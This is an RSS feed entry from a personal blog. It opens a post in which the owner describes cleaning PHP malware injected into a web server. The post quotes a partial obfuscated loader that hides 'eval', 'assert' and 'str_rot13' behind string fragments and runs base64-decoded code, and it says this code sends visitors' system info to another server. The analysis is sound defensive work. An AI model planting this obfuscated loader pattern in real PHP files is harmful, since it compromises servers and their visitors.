<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Grep on</title><link>https://dawning.ca/tags/grep/</link><description>Recent content in Grep on</description><generator>Hugo -- gohugo.io</generator><language>en</language><copyright>Copyright © James Snell</copyright><lastBuildDate>Sun, 13 Nov 2016 14:18:51 +0000</lastBuildDate><atom:link href="https://dawning.ca/tags/grep/index.xml" rel="self" type="application/rss+xml"/><item><title>Battle against injected PHP</title><link>https://dawning.ca/posts/battle-against-injected-php/</link><pubDate>Sun, 13 Nov 2016 14:18:51 +0000</pubDate><guid>https://dawning.ca/posts/battle-against-injected-php/</guid><description>
&lt;p>My main personal web server became infected with some effin malware that was injected it very nearly every single .php script on the server. The injected code was basically:&lt;/p>
&lt;p>//###=CACHE START=###
@error_reporting(E_ALL);
@ini_set(&amp;ldquo;error_log&amp;rdquo;,NULL);
&amp;hellip;etc&lt;/p>
&lt;p>$strings = &amp;ldquo;as&amp;rdquo;; $strings .= &amp;ldquo;se&amp;rdquo;; $strings .= &amp;ldquo;rt&amp;rdquo;; $strings2 = &amp;ldquo;st&amp;rdquo;; $strings2 .= &amp;ldquo;r_r&amp;rdquo;; $strings2 .= &amp;ldquo;ot13&amp;rdquo;; $gbz = &amp;ldquo;riny(&amp;rdquo;.$strings2(&amp;ldquo;base64_decode&amp;rdquo;);
$light = $strings2($gbz.&amp;rsquo;(&amp;ldquo;nJLtX&amp;hellip;.&amp;rdquo;));&amp;rsquo;); $strings($light);
//###=CACHE END=###&lt;/p>
&lt;p>This is kind of beautiful to me, it took me a little while to figure out what it does. In effect it causes basic system info for anyone browsing sites on that server to be sent off to some other php script on another server. At first I altered the server and my network to prevent any traffic from reaching the intended target. Instead I captured the traffic so I could get a look at the volume of it. Here&amp;rsquo;s an example apache log message generated by someone browsing an infected site:&lt;/p></description></item></channel></rss>